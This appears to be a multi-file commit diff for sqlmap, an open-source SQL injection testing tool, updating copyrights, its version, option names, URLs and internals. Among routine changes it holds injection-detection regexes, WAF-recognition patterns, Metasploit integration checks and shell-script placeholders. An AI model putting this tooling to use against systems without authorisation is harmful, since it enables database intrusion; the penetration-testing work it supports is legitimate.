DBMS.MYSQL: (MYSQL_ALIASES, "python-pymysql", "https://github.com/petehunt/PyMySQL/", "mysql"),
DBMS.MYSQL: (MYSQL_ALIASES, "python-pymysql", "https://github.com/PyMySQL/PyMySQL", "mysql"),
DBMS.PGSQL: (PGSQL_ALIASES, "python-psycopg2", "http://initd.org/psycopg/", "postgresql"),
DBMS.ORACLE: (ORACLE_ALIASES, "python cx_Oracle", "http://cx-oracle.sourceforge.net/", "oracle"),
DBMS.SQLITE: (SQLITE_ALIASES, "python-sqlite", "http://packages.ubuntu.com/quantal/python-sqlite", "sqlite"),
DBMS.ORACLE: (ORACLE_ALIASES, "python cx_Oracle", "https://oracle.github.io/python-cx_Oracle/", "oracle"),
DBMS.SQLITE: (SQLITE_ALIASES, "python-sqlite", "https://docs.python.org/2/library/sqlite3.html", "sqlite"),
DBMS.ACCESS: (ACCESS_ALIASES, "python-pyodbc", "https://github.com/mkleehammer/pyodbc", "access"),
DBMS.FIREBIRD: (FIREBIRD_ALIASES, "python-kinterbasdb", "http://kinterbasdb.sourceforge.net/", "firebird"),
DBMS.MAXDB: (MAXDB_ALIASES, None, None, "maxdb"),
+11 -10
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
@@ -46,6 +46,7 @@ from lib.core.settings import METADB_SUFFIX
from lib.core.settings import MIN_BINARY_DISK_DUMP_SIZE
from lib.core.settings import TRIM_STDOUT_DUMP_SIZE
from lib.core.settings import UNICODE_ENCODING
from lib.core.settings import UNSAFE_DUMP_FILEPATH_REPLACEMENT
from lib.core.settings import WINDOWS_RESERVED_NAMES
from thirdparty.magic import magic
@@ -140,7 +141,7 @@ class Dump(object):
try:
elements = set(elements)
elements = list(elements)
elements.sort(key=lambda x: x.lower() if isinstance(x, basestring) else x)
elements.sort(key=lambda _: _.lower() if isinstance(_, basestring) else _)
except:
pass
@@ -191,7 +192,7 @@ class Dump(object):
userSettings = userSettings[0]
users = userSettings.keys()
users.sort(key=lambda x: x.lower() if isinstance(x, basestring) else x)
users.sort(key=lambda _: _.lower() if isinstance(_, basestring) else _)
if conf.api:
self._write(userSettings, content_type=content_type)
@@ -285,7 +286,7 @@ class Dump(object):
colType = None
colList = columns.keys()
colList.sort(key=lambda x: x.lower() if isinstance(x, basestring) else x)
colList.sort(key=lambda _: _.lower() if isinstance(_, basestring) else _)
for column in colList:
colType = columns[column]
@@ -377,7 +378,7 @@ class Dump(object):
if count is None:
count = "Unknown"
tables.sort(key=lambda x: x.lower() if isinstance(x, basestring) else x)
tables.sort(key=lambda _: _.lower() if isinstance(_, basestring) else _)
for table in tables:
blank1 = " " * (maxlength1 - len(normalizeUnicode(table) or unicode(table)))
@@ -418,7 +419,7 @@ class Dump(object):
except:
warnFile = True
_ = unicodeencode(re.sub(r"[^\w]", "_", unsafeSQLIdentificatorNaming(db)))
_ = unicodeencode(re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, unsafeSQLIdentificatorNaming(db)))
dumpDbPath = os.path.join(conf.dumpPath, "%s-%s" % (_, hashlib.md5(unicodeencode(db)).hexdigest()[:8]))
if not os.path.isdir(dumpDbPath):
@@ -441,7 +442,7 @@ class Dump(object):
dumpDbPath = tempDir
dumpFileName = os.path.join(dumpDbPath, "%s.%s" % (unsafeSQLIdentificatorNaming(table), conf.dumpFormat.lower()))
dumpFileName = os.path.join(dumpDbPath, re.sub(r'[\\/]', UNSAFE_DUMP_FILEPATH_REPLACEMENT, "%s.%s" % (unsafeSQLIdentificatorNaming(table), conf.dumpFormat.lower())))
if not checkFile(dumpFileName, False):
try:
openFile(dumpFileName, "w+b").close()
@@ -450,9 +451,9 @@ class Dump(object):
except:
warnFile = True
_ = re.sub(r"[^\w]", "_", normalizeUnicode(unsafeSQLIdentificatorNaming(table)))
_ = re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, normalizeUnicode(unsafeSQLIdentificatorNaming(table)))
if len(_) < len(table) or IS_WIN and table.upper() in WINDOWS_RESERVED_NAMES:
_ = unicodeencode(re.sub(r"[^\w]", "_", unsafeSQLIdentificatorNaming(table)))
_ = unicodeencode(re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, unsafeSQLIdentificatorNaming(table)))
dumpFileName = os.path.join(dumpDbPath, "%s-%s.%s" % (_, hashlib.md5(unicodeencode(table)).hexdigest()[:8], conf.dumpFormat.lower()))
else:
dumpFileName = os.path.join(dumpDbPath, "%s.%s" % (_, conf.dumpFormat.lower()))
@@ -613,7 +614,7 @@ class Dump(object):
if not os.path.isdir(dumpDbPath):
os.makedirs(dumpDbPath, 0755)
_ = re.sub(r"[^\w]", "_", normalizeUnicode(unsafeSQLIdentificatorNaming(column)))
_ = re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, normalizeUnicode(unsafeSQLIdentificatorNaming(column)))
filepath = os.path.join(dumpDbPath, "%s-%d.bin" % (_, randomInt(8)))
warnMsg = "writing binary ('%s') content to file '%s' " % (mimetype, filepath)
logger.warn(warnMsg)
+10 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
@@ -22,6 +22,15 @@ class SORT_ORDER:
FIFTH = 4
LAST = 100
# Reference: https://docs.python.org/2/library/logging.html#logging-levels
class LOGGING_LEVELS:
NOTSET = 0
DEBUG = 10
INFO = 20
WARNING = 30
ERROR = 40
CRITICAL = 50
class DBMS:
ACCESS = "Microsoft Access"
DB2 = "IBM DB2"
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
+28 -17
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
@@ -692,7 +692,7 @@ def _setMetasploit():
errMsg = "sqlmap requires third-party module 'pywin32' "
errMsg += "in order to use Metasploit functionalities on "
errMsg += "Windows. You can download it from "
errMsg += "'http://sourceforge.net/projects/pywin32/files/pywin32/'"
errMsg += "'https://sourceforge.net/projects/pywin32/files/pywin32/'"
raise SqlmapMissingDependence(errMsg)
if not conf.msfPath:
@@ -784,7 +784,7 @@ def _setMetasploit():
if not msfEnvPathExists:
errMsg = "unable to locate Metasploit Framework installation. "
errMsg += "You can get it at 'http://www.metasploit.com/download/'"
errMsg += "You can get it at 'https://www.metasploit.com/download/'"
raise SqlmapFilePathException(errMsg)
def _setWriteFile():
@@ -931,7 +931,7 @@ def _setTamperingFunctions():
try:
module = __import__(filename[:-3].encode(sys.getfilesystemencoding() or UNICODE_ENCODING))
except (ImportError, SyntaxError), ex:
except Exception, ex:
raise SqlmapSyntaxException("cannot import tamper script '%s' (%s)" % (filename[:-3], getSafeExString(ex)))
priority = PRIORITY.NORMAL if not hasattr(module, "__priority__") else module.__priority__
@@ -1046,7 +1046,7 @@ def _setSocketPreConnect():
if conf.disablePrecon:
return
def _():
def _thread():
while kb.get("threadContinue") and not conf.get("disablePrecon"):
try:
for key in socket._ready:
@@ -1078,6 +1078,7 @@ def _setSocketPreConnect():
break
else:
try:
candidate.shutdown(socket.SHUT_RDWR)
candidate.close()
except socket.error:
pass
@@ -1090,7 +1091,7 @@ def _setSocketPreConnect():
socket.socket._connect = socket.socket.connect
socket.socket.connect = connect
thread = threading.Thread(target=_)
thread = threading.Thread(target=_thread)
setDaemon(thread)
thread.start()
@@ -1376,7 +1377,7 @@ def _setHTTPAuthentication():
except ImportError:
errMsg = "sqlmap requires Python NTLM third-party library "
errMsg += "in order to authenticate via NTLM, "
errMsg += "http://code.google.com/p/python-ntlm/"
errMsg += "https://github.com/mullender/python-ntlm"
raise SqlmapMissingDependence(errMsg)
authHandler = HTTPNtlmAuthHandler.HTTPNtlmAuthHandler(kb.passwordMgr)
@@ -1488,8 +1489,8 @@ def _setHTTPUserAgent():
userAgent = random.sample(kb.userAgents or [_defaultHTTPUserAgent()], 1)[0]
infoMsg = "fetched random HTTP User-Agent header from "
infoMsg += "file '%s': '%s'" % (paths.USER_AGENTS, userAgent)
infoMsg = "fetched random HTTP User-Agent header value '%s' from " % userAgent
infoMsg += "file '%s'" % paths.USER_AGENTS
logger.info(infoMsg)
conf.httpHeaders.append((HTTP_HEADER.USER_AGENT, userAgent))
@@ -1647,7 +1648,10 @@ def _cleanupOptions():
conf.rParam = []
if conf.paramDel and '\\' in conf.paramDel:
conf.paramDel = conf.paramDel.decode("string_escape")
try:
conf.paramDel = conf.paramDel.decode("string_escape")
except ValueError:
pass
if conf.skip:
conf.skip = conf.skip.replace(" ", "")
@@ -1661,6 +1665,9 @@ def _cleanupOptions():
if conf.delay:
conf.delay = float(conf.delay)
if conf.url:
conf.url = conf.url.strip()
if conf.rFile:
conf.rFile = ntToPosixSlashes(normalizePath(conf.rFile))
@@ -1781,8 +1788,8 @@ def _cleanupOptions():
if conf.col:
conf.col = re.sub(r"\s*,\s*", ',', conf.col)
if conf.excludeCol:
conf.excludeCol = re.sub(r"\s*,\s*", ',', conf.excludeCol)
if conf.exclude:
conf.exclude = re.sub(r"\s*,\s*", ',', conf.exclude)
if conf.binaryFields:
conf.binaryFields = re.sub(r"\s*,\s*", ',', conf.binaryFields)
@@ -1886,6 +1893,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
kb.cache.addrinfo = {}
kb.cache.content = {}
kb.cache.encoding = {}
kb.cache.alphaBoundaries = None
kb.cache.intBoundaries = None
kb.cache.parsedDbms = {}
kb.cache.regex = {}
@@ -2030,6 +2038,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
kb.uChar = NULL
kb.unionDuplicates = False
kb.wafSpecificResponse = None
kb.wizardMode = False
kb.xpCmdshellAvailable = False
if flushAll:
@@ -2097,11 +2106,11 @@ def _useWizardInterface():
choice = readInput(message, default='1')
if choice == '2':
map(lambda x: conf.__setitem__(x, True), WIZARD.INTERMEDIATE)
map(lambda _: conf.__setitem__(_, True), WIZARD.INTERMEDIATE)
elif choice == '3':
map(lambda x: conf.__setitem__(x, True), WIZARD.ALL)
map(lambda _: conf.__setitem__(_, True), WIZARD.ALL)
else:
map(lambda x: conf.__setitem__(x, True), WIZARD.BASIC)
map(lambda _: conf.__setitem__(_, True), WIZARD.BASIC)
logger.debug("muting sqlmap.. it will do the magic for you")
conf.verbose = 0
@@ -2111,6 +2120,8 @@ def _useWizardInterface():
dataToStdout("\nsqlmap is running, please wait..\n\n")
kb.wizardMode = True
def _saveConfig():
"""
Saves the command line options to a sqlmap configuration INI file
@@ -2580,9 +2591,9 @@ def _basicOptionValidation():
if conf.encoding:
_ = checkCharEncoding(conf.encoding, False)
if _ is None:
errMsg = "unknown charset '%s'. Please visit " % conf.encoding
errMsg = "unknown encoding '%s'. Please visit " % conf.encoding
errMsg += "'%s' to get the full list of " % CODECS_LIST_PAGE
errMsg += "supported charsets"
errMsg += "supported encodings"
raise SqlmapSyntaxException(errMsg)
else:
conf.encoding = _
+2 -2
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
@@ -139,7 +139,7 @@ optDict = {
"db": "string",
"tbl": "string",
"col": "string",
"excludeCol": "string",
"exclude": "string",
"pivotColumn": "string",
"dumpWhere": "string",
"user": "string",
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
+30 -9
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
@@ -19,7 +19,7 @@ from lib.core.enums import DBMS_DIRECTORY_NAME
from lib.core.enums import OS
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
VERSION = "1.1.11.0"
VERSION = "1.2.3.0"
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
@@ -76,7 +76,7 @@ CHAR_INFERENCE_MARK = "%c"
PRINTABLE_CHAR_REGEX = r"[^\x00-\x1f\x7f-\xff]"
# Regular expression used for extraction of table names (useful for (e.g.) MsAccess)
SELECT_FROM_TABLE_REGEX = r"\bSELECT .+? FROM (?P<result>([\w.]|`[^`<>]+`)+)"
SELECT_FROM_TABLE_REGEX = r"\bSELECT\b.+?\bFROM\s+(?P<result>([\w.]|`[^`<>]+`)+)"
# Regular expression used for recognition of textual content-type
TEXT_CONTENT_TYPE_REGEX = r"(?i)(text|form|message|xml|javascript|ecmascript|json)"
@@ -84,8 +84,11 @@ TEXT_CONTENT_TYPE_REGEX = r"(?i)(text|form|message|xml|javascript|ecmascript|jso
# Regular expression used for recognition of generic permission messages
PERMISSION_DENIED_REGEX = r"(command|permission|access)\s*(was|is)?\s*denied"
# Regular expression used in recognition of generic protection mechanisms
GENERIC_PROTECTION_REGEX = r"(?i)\b(rejected|blocked|protection|incident|denied|detected|dangerous|firewall)\b"
# Regular expression used for recognition of generic maximum connection messages
MAX_CONNECTIONS_REGEX = r"max.+connections"
MAX_CONNECTIONS_REGEX = r"\bmax.+?\bconnection"
# Maximum consecutive connection errors before asking the user if he wants to continue
MAX_CONSECUTIVE_CONNECTION_ERRORS = 15
@@ -193,8 +196,8 @@ UNKNOWN_DBMS = "Unknown"
# String used for representation of unknown DBMS version
UNKNOWN_DBMS_VERSION = "Unknown"
# Dynamicity mark length used in dynamicity removal engine
DYNAMICITY_MARK_LENGTH = 32
# Dynamicity boundary length used in dynamicity removal engine
DYNAMICITY_BOUNDARY_LENGTH = 20
# Dummy user prefix used in dictionary attack
DUMMY_USER_PREFIX = "__dummy__"
@@ -202,6 +205,11 @@ DUMMY_USER_PREFIX = "__dummy__"
# Reference: http://en.wikipedia.org/wiki/ISO/IEC_8859-1
DEFAULT_PAGE_ENCODING = "iso-8859-1"
try:
unicode(DEFAULT_PAGE_ENCODING, DEFAULT_PAGE_ENCODING)
except LookupError:
DEFAULT_PAGE_ENCODING = "utf8"
# URL used in dummy runs
DUMMY_URL = "http://foo/bar?id=1"
@@ -291,6 +299,10 @@ BASIC_HELP_ITEMS = (
"wizard",
)
# Tags used for value replacements inside shell scripts
SHELL_WRITABLE_DIR_TAG = "%WRITABLE_DIR%"
SHELL_RUNCMD_EXE_TAG = "%RUNCMD_EXE%"
# String representation for NULL value
NULL = "NULL"
@@ -300,8 +312,11 @@ BLANK = "<blank>"
# String representation for current database
CURRENT_DB = "CD"
# Name of SQLite file used for storing session data
SESSION_SQLITE_FILE = "session.sqlite"
# Regular expressions used for finding file paths in error messages
FILE_PATH_REGEXES = (r"<b>(?P<result>[^<>]+?)</b> on line \d+", r"(?P<result>[^<>'\"]+?)['\"]? on line \d+", r"(?:[>(\[\s])(?P<result>[A-Za-z]:[\\/][\w. \\/-]*)", r"(?:[>(\[\s])(?P<result>/\w[/\w.-]+)", r"href=['\"]file://(?P<result>/[^'\"]+)")
FILE_PATH_REGEXES = (r"<b>(?P<result>[^<>]+?)</b> on line \d+", r"in (?P<result>[^<>'\"]+?)['\"]? on line \d+", r"(?:[>(\[\s])(?P<result>[A-Za-z]:[\\/][\w. \\/-]*)", r"(?:[>(\[\s])(?P<result>/\w[/\w.~-]+)", r"href=['\"]file://(?P<result>/[^'\"]+)")
# Regular expressions used for parsing error messages (--parse-errors)
ERROR_PARSING_REGEXES = (
@@ -413,6 +428,9 @@ HASH_MOD_ITEM_DISPLAY = 11
# Maximum integer value
MAX_INT = sys.maxint
# Replacement for unsafe characters in dump table filenames
UNSAFE_DUMP_FILEPATH_REPLACEMENT = '_'
# Options that need to be restored in multiple targets run mode
RESTORE_MERGED_OPTIONS = ("col", "db", "dnsDomain", "privEsc", "tbl", "regexp", "string", "textOnly", "threads", "timeSec", "tmpPath", "uChar", "user")
@@ -479,7 +497,7 @@ PICKLE_REDUCE_WHITELIST = (types.BooleanType, types.DictType, types.FloatType, t
DUMMY_SQL_INJECTION_CHARS = ";()'"
# Simple check against dummy users
DUMMY_USER_INJECTION = r"(?i)[^\w](AND|OR)\s+[^\s]+[=><]|\bUNION\b.+\bSELECT\b|\bSELECT\b.+\bFROM\b|\b(CONCAT|information_schema|SLEEP|DELAY)\b"
DUMMY_USER_INJECTION = r"(?i)[^\w](AND|OR)\s+[^\s]+[=><]|\bUNION\b.+\bSELECT\b|\bSELECT\b.+\bFROM\b|\b(CONCAT|information_schema|SLEEP|DELAY|FLOOR\(RAND)\b"
# Extensions skipped by crawler
CRAWL_EXCLUDE_EXTENSIONS = ("3ds", "3g2", "3gp", "7z", "DS_Store", "a", "aac", "adp", "ai", "aif", "aiff", "apk", "ar", "asf", "au", "avi", "bak", "bin", "bk", "bmp", "btif", "bz2", "cab", "caf", "cgm", "cmx", "cpio", "cr2", "dat", "deb", "djvu", "dll", "dmg", "dmp", "dng", "doc", "docx", "dot", "dotx", "dra", "dsk", "dts", "dtshd", "dvb", "dwg", "dxf", "ear", "ecelp4800", "ecelp7470", "ecelp9600", "egg", "eol", "eot", "epub", "exe", "f4v", "fbs", "fh", "fla", "flac", "fli", "flv", "fpx", "fst", "fvt", "g3", "gif", "gz", "h261", "h263", "h264", "ico", "ief", "image", "img", "ipa", "iso", "jar", "jpeg", "jpg", "jpgv", "jpm", "jxr", "ktx", "lvp", "lz", "lzma", "lzo", "m3u", "m4a", "m4v", "mar", "mdi", "mid", "mj2", "mka", "mkv", "mmr", "mng", "mov", "movie", "mp3", "mp4", "mp4a", "mpeg", "mpg", "mpga", "mxu", "nef", "npx", "o", "oga", "ogg", "ogv", "otf", "pbm", "pcx", "pdf", "pea", "pgm", "pic", "png", "pnm", "ppm", "pps", "ppt", "pptx", "ps", "psd", "pya", "pyc", "pyo", "pyv", "qt", "rar", "ras", "raw", "rgb", "rip", "rlc", "rz", "s3m", "s7z", "scm", "scpt", "sgi", "shar", "sil", "smv", "so", "sub", "swf", "tar", "tbz2", "tga", "tgz", "tif", "tiff", "tlz", "ts", "ttf", "uvh", "uvi", "uvm", "uvp", "uvs", "uvu", "viv", "vob", "war", "wav", "wax", "wbmp", "wdp", "weba", "webm", "webp", "whl", "wm", "wma", "wmv", "wmx", "woff", "woff2", "wvx", "xbm", "xif", "xls", "xlsx", "xlt", "xm", "xpi", "xpm", "xwd", "xz", "z", "zip", "zipx")
@@ -520,6 +538,9 @@ ROTATING_CHARS = ('\\', '|', '|', '/', '-')
# Approximate chunk length (in bytes) used by BigArray objects (only last chunk and cached one are held in memory)
BIGARRAY_CHUNK_SIZE = 1024 * 1024
# Compress level used for storing BigArray chunks to disk (0-9)
BIGARRAY_COMPRESS_LEVEL = 9
# Maximum number of socket pre-connects
SOCKET_PRE_CONNECT_QUEUE_SIZE = 3
@@ -639,7 +660,7 @@ VALID_TIME_CHARS_RUN_THRESHOLD = 100
CHECK_ZERO_COLUMNS_THRESHOLD = 10
# Boldify all logger messages containing these "patterns"
BOLD_PATTERNS = ("' injectable", "provided empty", "leftover chars", "might be injectable", "' is vulnerable", "is not injectable", "does not seem to be", "test failed", "test passed", "live test final result", "test shows that", "the back-end DBMS is", "created Github", "blocked by the target server", "protection is involved", "CAPTCHA", "specific response")
BOLD_PATTERNS = ("' injectable", "provided empty", "leftover chars", "might be injectable", "' is vulnerable", "is not injectable", "does not seem to be", "test failed", "test passed", "live test final result", "test shows that", "the back-end DBMS is", "created Github", "blocked by the target server", "protection is involved", "CAPTCHA", "specific response", "NULL connection is supported")
# Generic www root directory names
GENERIC_DOC_ROOT_DIRECTORY_NAMES = ("htdocs", "httpdocs", "public", "wwwroot", "www")
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
+8 -4
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
@@ -62,6 +62,7 @@ from lib.core.settings import PROBLEMATIC_CUSTOM_INJECTION_PATTERNS
from lib.core.settings import REFERER_ALIASES
from lib.core.settings import RESTORE_MERGED_OPTIONS
from lib.core.settings import RESULTS_FILE_FORMAT
from lib.core.settings import SESSION_SQLITE_FILE
from lib.core.settings import SUPPORTED_DBMS
from lib.core.settings import UNENCODED_ORIGINAL_VALUE
from lib.core.settings import UNICODE_ENCODING
@@ -396,6 +397,9 @@ def _setRequestParams():
raise SqlmapGenericException(errMsg)
else:
for place in (PLACE.GET, PLACE.POST, PLACE.COOKIE):
if conf.csrfToken:
break
for parameter in conf.paramDict.get(place, {}):
if any(parameter.lower().count(_) for _ in CSRF_TOKEN_PARAMETER_INFIXES):
message = "%s parameter '%s' appears to hold anti-CSRF token. " % (place, parameter)
@@ -403,7 +407,7 @@ def _setRequestParams():
if readInput(message, default='N', boolean=True):
conf.csrfToken = getUnicode(parameter)
break
break
def _setHashDB():
"""
@@ -411,7 +415,7 @@ def _setHashDB():
"""
if not conf.hashDBFile:
conf.hashDBFile = conf.sessionFile or os.path.join(conf.outputPath, "session.sqlite")
conf.hashDBFile = conf.sessionFile or os.path.join(conf.outputPath, SESSION_SQLITE_FILE)
if os.path.exists(conf.hashDBFile):
if conf.flushSession:
@@ -545,7 +549,7 @@ def _setResultsFile():
if not conf.resultsFP:
conf.resultsFilename = os.path.join(paths.SQLMAP_OUTPUT_PATH, time.strftime(RESULTS_FILE_FORMAT).lower())
try:
conf.resultsFP = openFile(conf.resultsFilename, "w+", UNICODE_ENCODING, buffering=0)
conf.resultsFP = openFile(conf.resultsFilename, "a", UNICODE_ENCODING, buffering=0)
except (OSError, IOError), ex:
try:
warnMsg = "unable to create results file '%s' ('%s'). " % (conf.resultsFilename, getUnicode(ex))
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
+7 -4
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
@@ -64,9 +64,6 @@ class _ThreadData(threading.local):
ThreadData = _ThreadData()
def getCurrentThreadUID():
return hash(threading.currentThread())
def readInput(message, default=None, checkBatch=True, boolean=False):
# It will be overwritten by original from lib.core.common
pass
@@ -98,6 +95,9 @@ def exceptionHandledFunction(threadFunction, silent=False):
if not silent:
logger.error("thread %s: %s" % (threading.currentThread().getName(), ex.message))
if conf.verbose > 1:
traceback.print_exc()
def setDaemon(thread):
# Reference: http://stackoverflow.com/questions/190010/daemon-threads-explanation
if PYVERSION >= "2.6":
@@ -188,6 +188,9 @@ def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardExceptio
kb.threadException = True
logger.error("thread %s: %s" % (threading.currentThread().getName(), ex.message))
if conf.verbose > 1:
traceback.print_exc()
except:
from lib.core.common import unhandledExceptionMessage
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
+2 -2
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
@@ -32,7 +32,7 @@ def update():
errMsg += "from GitHub (e.g. 'git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap')"
logger.error(errMsg)
else:
infoMsg = "updating sqlmap to the latest development version from the "
infoMsg = "updating sqlmap to the latest development revision from the "
infoMsg += "GitHub repository"
logger.info(infoMsg)
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
+4 -4
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
@@ -464,8 +464,8 @@ def cmdLineParser(argv=None):
enumeration.add_option("-C", dest="col",
help="DBMS database table column(s) to enumerate")
enumeration.add_option("-X", dest="excludeCol",
help="DBMS database table column(s) to not enumerate")
enumeration.add_option("-X", dest="exclude",
help="DBMS database identifier(s) to not enumerate")
enumeration.add_option("-U", dest="user",
help="DBMS user to enumerate")
@@ -626,7 +626,7 @@ def cmdLineParser(argv=None):
general.add_option("--batch", dest="batch",
action="store_true",
help="Never ask for user input, use the default behaviour")
help="Never ask for user input, use the default behavior")
general.add_option("--binary-fields", dest="binaryFields",
help="Result fields having binary values (e.g. \"digest\")")
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
